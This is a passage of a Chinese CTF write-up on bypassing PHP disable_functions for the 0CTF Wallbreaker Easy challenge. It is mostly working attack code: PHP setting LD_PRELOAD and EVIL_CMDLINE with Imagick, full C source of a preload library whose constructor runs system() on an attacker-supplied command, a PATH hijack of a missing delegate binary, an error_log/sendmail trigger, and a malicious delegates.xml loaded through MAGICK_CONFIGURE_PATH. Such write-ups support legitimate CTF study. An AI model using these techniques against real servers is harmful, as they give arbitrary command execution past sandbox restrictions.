AAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA%3D%3D"));
print_r(scandir("/tmp/2acbca788a86c8192b674bcc2bd1a46a/"));
putenv("EVIL_CMDLINE=/readflag > /tmp/2acbca788a86c8192b674bcc2bd1a46a/flag.txt");
putenv("LD_PRELOAD=/tmp/2acbca788a86c8192b674bcc2bd1a46a/1.so");
print_r(readfile("/tmp/2acbca788a86c8192b674bcc2bd1a46a/flag.txt"));
$im=new Imagick();
$im->readImage("/tmp/2acbca788a86c8192b674bcc2bd1a46a/1.bmp");
$im->writeImage("/tmp/2acbca788a86c8192b674bcc2bd1a46a/2.jxr");
//print_r(readfile("/tmp/2acbca788a86c8192b674bcc2bd1a46a/flag.txt"));
print_r(readfile("/tmp/2acbca788a86c8192b674bcc2bd1a46a/flag.txt"));

因为图片转换开了新进程,第一次返回值中不包含最后一句注释的执行,所以放在前面,执行两次就能 getflag。

坑点:ghostscript 默认被禁止

cat /etc/ImageMagick-6/policy.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE policymap [
<!ELEMENT policymap (policy)+>
<!ELEMENT policy (#PCDATA)>
<!ATTLIST policy domain (delegate|coder|filter|path|resource) #IMPLIED>
<!ATTLIST policy name CDATA #IMPLIED>
<!ATTLIST policy rights CDATA #IMPLIED>
<!ATTLIST policy pattern CDATA #IMPLIED>
<!ATTLIST policy value CDATA #IMPLIED>
]>
<policymap>
  <!-- <policy domain="resource" name="temporary-path" value="/tmp"/> -->
  <policy domain="resource" name="memory" value="256MiB"/>
  <policy domain="resource" name="map" value="512MiB"/>
  <policy domain="resource" name="width" value="16KP"/>
  <policy domain="resource" name="height" value="16KP"/>
  <policy domain="resource" name="area" value="128MB"/>
  <policy domain="resource" name="disk" value="1GiB"/>
  <policy domain="delegate" rights="none" pattern="URL" />
  <policy domain="delegate" rights="none" pattern="HTTPS" />
  <policy domain="delegate" rights="none" pattern="HTTP" />
  <!-- in order to avoid to get image with password text -->
  <policy domain="path" rights="none" pattern="@*"/>
  <policy domain="cache" name="shared-secret" value="passphrase" stealth="true"/>
  <!-- disable ghostscript format types -->
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="EPI" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

明文禁止了PS、EPI、PDF、XPS这几种格式的转换,也就是无法使用gs转换。

附一下 gs 1day http://gv7.me/articles/2018/ghostscript-rce-20180821/

Ref:
https://rmb122.com/2019/03/26/0ctf-Wallbreaker-Easy-Writeup/

solution 2

上面提到在代理的配置中有 /bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o",可以发现里面调用了 JxrEncApp 但是这个 bin 是不存在的,如果我们放一个名为 JxrEncApp,并且能够使得他被找到,那么就可以使其运行。

那我们需要 putenv("PATH=/tmp/hash/");,然后将恶意的 bin 传上去即可。bin 的内容可以参考 so 来编写。

solution 3

此方法参考某位师傅的 wp,通过 fuzz 发现 php error_log 也会通过 sh 调用 sendmail

error_log(error,type,destination,headers)
当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

编写php脚本,动态链接文件同上,error_log调用的过程中(当type为1时)和mail函数一样,也会调用sendmail,

<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

最后附一下原作者的 bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

solution 4

via https://xz.aliyun.com/t/4688#toc-14

查看ImageMagick 的源码,在官方给出的 QuickStart.txt 中可以看到这样的内容:

Configuration Files

ImageMagick depends on a number of external configuration files which
include colors.xml, delegates.xml, and others.
ImageMagick searches for configuration files in the following order, and
loads them if found:

$MAGICK_CONFIGURE_PATH
$MAGICK_HOME/etc/ImageMagick
$MAGICK_HOME/share/ImageMagick-7.0.2/config
$HOME/.config/ImageMagick/
<client path>/etc/ImageMagick/
<current directory>/

可以看到 ImageMagick的配置文件位置与环境变量有关,那么结合 putenv 我们就可以控制 ImageMagick 的配置。接下来,我们需要做的就是寻找一些可以帮助我们执行命令的配置项。

在本地环境的配置文件目录逐项查看后,可以发现在 delegates.xml 这个文件内,定义了 ImageMagick 处理各种文件类型的规则,格式如下:

<delegatemap>
    ......
  <delegate decode="bpg" command="&quot;bpgdec&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; /bin/mv &quot;%o.png&quot; &quot;%o&quot;"/>
</delegatemap>

可以看到处理文件所需执行的系统命令均在这个文件中设置,那么我们就可以自定义这个文件来执行命令了。

首先通过正常情况下执行的命令找到 EPT 文件对应的文件格式为:ps:alpha,那么我们所需要的delegates.xml内容就是:

<delegatemap>
  <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/3accb9900a8be5421641fb31e6861f33/flag.txt&quot;"/>
</delegatemap>

将 delegates.xml 和 EPT 文件写入后,使用题目中的后门执行如下命令即可:

putenv('MAGICK_CONFIGURE_PATH=/tmp/3accb9900a8be5421641fb31e6861f33');
$img = new Imagick('/tmp/3accb9900a8be5421641fb31e6861f33/1.ept');

solution 5

stream_socket_client 打 FPM 的方法,这里需要加载一个额外的 php 扩展。不过在 Final 中考察了这种方式的解法,放在线上赛来说其实是非预期了(final 还需要 bypass 一个 open_basedir 来找到 sock 文件名)。

具体可见:
GHOST_URL/attack-webcgi-with-socket/

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus